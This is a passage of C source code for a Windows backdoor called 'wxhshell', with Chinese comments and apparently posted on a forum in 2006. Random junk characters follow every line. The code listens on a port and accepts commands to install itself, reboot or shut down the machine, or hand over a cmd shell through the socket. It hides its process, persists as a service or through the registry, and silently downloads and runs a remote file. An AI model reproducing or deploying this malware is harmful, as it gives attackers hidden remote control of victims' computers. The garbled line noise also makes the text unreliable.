  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J&aN6l?  
  else 4np2I~ !  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D/E5&6  
  } :gsRJy1  
  else { "bej#'M#  
@{@b^tk  
    switch(cmd[0]) { yP]>eLTSd  
  vl/!w2  
  // 帮助 5X^\AW  
  case '?': { r%;|gIky  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sK%b16#  
    break; % f;v$rsZ  
  } 5mAb9F8@  
  // 安装 XuP%/\  
  case 'i': { !mK()#6  
    if(Install()) P.Tnq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N #v[YO`.  
    else B*G]Dr)e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BQfnoF  
    break; qq!ZYWy2  
    } ;.jj>1=Tnl  
  // 卸载 6?,qysm06  
  case 'r': { -9 LvAV>  
    if(Uninstall()) rTR$\ [C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N@PuC>  
    else ?*V\ -7jg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\+j/sa  
    break; h_ t`)]-  
    } ;X+0,K3c  
  // 显示 wxhshell 所在路径 3sV$#l P  
  case 'p': { /[ m7~B]QE  
    char svExeFile[MAX_PATH]; 5%D`y|  
    strcpy(svExeFile,"\n\r"); | K|AUI  
      strcat(svExeFile,ExeFile); #c:@oe4v  
        send(wsh,svExeFile,strlen(svExeFile),0); O$z"`'&j#  
    break; "L5w]6C4  
    } K cex%.  
  // 重启 "#Z e3Uy\  
  case 'b': { ^%*qe5J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JRBz/ j  
    if(Boot(REBOOT)) skeeec\V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tV4yBe<``  
    else { !=30s;-  
    closesocket(wsh); J4]"@0?6  
    ExitThread(0); pKXSJ"Xo  
    } )Fd)YJVR  
    break; ;nh_L(  
    } =_&,^h@'3e  
  // 关机 /7B3z}rd  
  case 'd': { 2G|}ENC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5[\g87 \  
    if(Boot(SHUTDOWN)) &pl)E$Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &7kLSb&|;  
    else { 0F uj-q  
    closesocket(wsh); MuO(%.H  
    ExitThread(0); no\G >#  
    } tM@%EO  
    break; $lB!Q8a$  
    } ?b d&Av  
  // 获取shell gT[]"ZT7  
  case 's': { 'n{=`e(}cI  
    CmdShell(wsh); LP7jCt  
    closesocket(wsh); _0[s]  
    ExitThread(0); 1_&W1o  
    break; GwgY{-|`  
  } V#599-  
  // 退出 `-s]d q  
  case 'x': { Hj-n 'XZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5a6d3u/  
    CloseIt(wsh); &B8x0 yi  
    break; U0|wC,7"  
    } 7F]oK0l_  
  // 离开 Q&$2F:4f&  
  case 'q': { 4 J9Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $XyDw|z[  
    closesocket(wsh); 5!i\S[:  
    WSACleanup(); ).Z U0fV  
    exit(1); 3kr. 'O  
    break; ) fuAdG  
        } J{;\TNkJ  
  } D(_j;?i  
  } /xg1i1Et  
Nc EPPl 0I  
  // 提示信息 \= 6dF,V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'uqY%&U  
} pcQzvLk  
  } j%S} T)pX  
!':y8(Ou  
  return; +s+E!=s  
} &)Vuh=  
G`v(4`tA  
// shell模块句柄 z9Y}[ pN  
int CmdShell(SOCKET sock) Y,KSr|vG  
{ #%CB`l  
STARTUPINFO si; LqQ&4I  
ZeroMemory(&si,sizeof(si)); utdus:B#0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [r1\FF@v,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (K kqyrb  
PROCESS_INFORMATION ProcessInfo; P#KT lH  
char cmdline[]="cmd"; =, U~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B%co`0$  
  return 0; {tXyz[;i1}  
} |dqAT.  
b9 l%5a  
// 自身启动模式 F PAj}as  
int StartFromService(void) (ap,3$ hS  
{ > 8!9  
typedef struct I(Q3YDdb  
{ .gwT?O,  
  DWORD ExitStatus; H1ox>sC  
  DWORD PebBaseAddress; 35#"]l"  
  DWORD AffinityMask; 'oM&Ar$  
  DWORD BasePriority; 8Vm)jnM  
  ULONG UniqueProcessId; UTxqqcqEny  
  ULONG InheritedFromUniqueProcessId; Hc-68]T  
}   PROCESS_BASIC_INFORMATION; Z=144n 1  
Z&Z= 24q_  
PROCNTQSIP NtQueryInformationProcess; \4hB1-  
wn>?r ?KIB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MM/D5g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =(as{,j  
{r[g.@  
  HANDLE             hProcess; fJOA5(  
  PROCESS_BASIC_INFORMATION pbi; ^14a[ta/'  
,a@jg&Mb]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UV)!zgP  
  if(NULL == hInst ) return 0; cY%6+uJ1  
sG k'G573  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "D/\&1.&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,=t}|!jx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kiR+ Dsl  
j |:{ B  
  if (!NtQueryInformationProcess) return 0; GPU,.s"&(  
p V`)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Jbqm?Fy4X  
  if(!hProcess) return 0; =bl6:  
|7E1yu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ab)X/g-I @  
^@AIXBe  
  CloseHandle(hProcess); -ZE]VO*F  
(GDW9:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 20k@!BNq  
if(hProcess==NULL) return 0; u+,  
Yuqt=\? #  
HMODULE hMod; tFYo d#  
char procName[255]; .0u@PcE:O  
unsigned long cbNeeded; |qX[Dk  
Ld:U~M-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {Z{!tR?+  
-_"6jU  
  CloseHandle(hProcess); ^|ln q.j  
OykYXFv*  
if(strstr(procName,"services")) return 1; // 以服务启动 o[E|xw  
NE2P "mY  
  return 0; // 注册表启动 DE_ <LN  
} `KUl XS(  
7c aV-8:  
// 主模块 !1cVg ls|  
int StartWxhshell(LPSTR lpCmdLine) z)U/bjf  
{ a\?-uJ+  
  SOCKET wsl; ! 4{T<s;q  
BOOL val=TRUE; rq_0"A  
  int port=0; LyA}Nd]pyq  
  struct sockaddr_in door; Bi$nYV)-l  
tunjV1 ,]  
  if(wscfg.ws_autoins) Install(); [|"{a  
),]XN#jp(u  
port=atoi(lpCmdLine); BEnIyVU;L  
9L9+zs3 k  
if(port<=0) port=wscfg.ws_port; <maY S2  
2u?k;"]V  
  WSADATA data; A~MIFr/8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hklgf  
+_ZXzzcO<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    {;| >Qn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "-a CF  
  door.sin_family = AF_INET; WXX)_L$2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MclW!CmJ  
  door.sin_port = htons(port); <b$.{&K  
IFfB3{J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  4fa2_  
closesocket(wsl); yTwtGo&  
return 1; 8-cCWo c  
} 1NQstmd{  
r}Ec_0_lt  
  if(listen(wsl,2) == INVALID_SOCKET) { qVMBZ\`Qm  
closesocket(wsl); 0;  BX  
return 1; C])b 3tM,7  
} TM2pE/P  
  Wxhshell(wsl); bIP%xl Vp  
  WSACleanup(); AIX?840V  
dAkJ5\=*  
return 0; N^;rLrm*  
Q@w=Jt<  
} ? vr9l7VOi  
?|,-Bft3  
// 以NT服务方式启动 g6p:1;Evf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w_h}c$;GK  
{ B9i< ="=p  
DWORD   status = 0; O|I)HpG;  
  DWORD   specificError = 0xfffffff; $2'Q'Mx[gd  
! uX0G4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uEX+j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fNnX{Wq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :7Jpt3  
  serviceStatus.dwWin32ExitCode     = 0; LCouDk(=`  
  serviceStatus.dwServiceSpecificExitCode = 0; ll8Zo+-[  
  serviceStatus.dwCheckPoint       = 0; F*rsi7#!pG  
  serviceStatus.dwWaitHint       = 0; |p\vH#6y+  
Tw0GG8(c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lZ>j:/R8^&  
  if (hServiceStatusHandle==0) return; PRQEk.C  
Wt 1]9{$  
status = GetLastError(); vn5O8sD  
  if (status!=NO_ERROR) }ofx?s}  
{ Q$lgC v^M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $3c9iVK~_  
    serviceStatus.dwCheckPoint       = 0;  J*FUJT  
    serviceStatus.dwWaitHint       = 0; g;mX{p_@  
    serviceStatus.dwWin32ExitCode     = status; uZhY)o*]@  
    serviceStatus.dwServiceSpecificExitCode = specificError; _ISaO C{2-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v{c,>]@  
    return; N3$%!\~O  
  } |zCT~#  
#Bo3 :B8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r~q 3nIe/,  
  serviceStatus.dwCheckPoint       = 0; -XNawpl`  
  serviceStatus.dwWaitHint       = 0; tQ7:4._  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vp|'Yy(9z  
} Q@0Zh, l  
T:!f_mu|  
// 处理NT服务事件,比如:启动、停止 7,7-E&d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~`c(7  
{ e]DuV)k&  
switch(fdwControl) ] =*G[  
{ M7gb3gw6  
case SERVICE_CONTROL_STOP: [~{'"-3L0  
  serviceStatus.dwWin32ExitCode = 0; !))!! {  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tTE]j-uT  
  serviceStatus.dwCheckPoint   = 0; =Vat2'>+  
  serviceStatus.dwWaitHint     = 0; ^Gwpx +  
  { G(;R+%pu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F!7\Za,  
  } E]dc4US  
  return; ;q&uk -  
case SERVICE_CONTROL_PAUSE: w:nLm,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u2 t=*<X  
  break; 31 &;3?3>  
case SERVICE_CONTROL_CONTINUE: UZRN4tru6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A{%LL r:  
  break; V~MyX&`  
case SERVICE_CONTROL_INTERROGATE: ?M B Od9  
  break; ":!1gC  
}; e4LJ3y&z"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ac%x\e$  
} MGLcM&oR  
wK!7mZ  
// 标准应用程序主函数 LbUH`0:%t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fLg :+Ue<B  
{ 9Ecc~'f  
G#YBfPmr  
// 获取操作系统版本 4 z^7T  
OsIsNt=GetOsVer(); ]ONBr(M\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4w#:?Y _\[  
kgP6'`}E[  
  // 从命令行安装 Zx Ak  
  if(strpbrk(lpCmdLine,"iI")) Install(); s1bb2R  
6 \}.l  
  // 下载执行文件 nm,(Wdr  
if(wscfg.ws_downexe) { snP]&l+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4ufT-&m};s  
  WinExec(wscfg.ws_filenam,SW_HIDE); .^8rO ,H[  
} x}~Z[bx  
%?Q<  
if(!OsIsNt) { L, 2;-b|  
// 如果时win9x,隐藏进程并且设置为注册表启动 :Q ?p^OC  
HideProc(); 89UR w9  
StartWxhshell(lpCmdLine); J\hqK*/8  
} vLpIVNA]]Y  
else 9L>73P{_  
  if(StartFromService()) tuJ{IF  
  // 以服务方式启动 qNWSDZQ  
  StartServiceCtrlDispatcher(DispatchTable); z\-/R9E/5-  
else G^:?)WRG  
  // 普通方式启动 mhI   
  StartWxhshell(lpCmdLine); 9^E!2CJ  
Mtc  -  
return 0; 70{B/ ($  
}
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只看该作者 1 发表于: 2006-10-10
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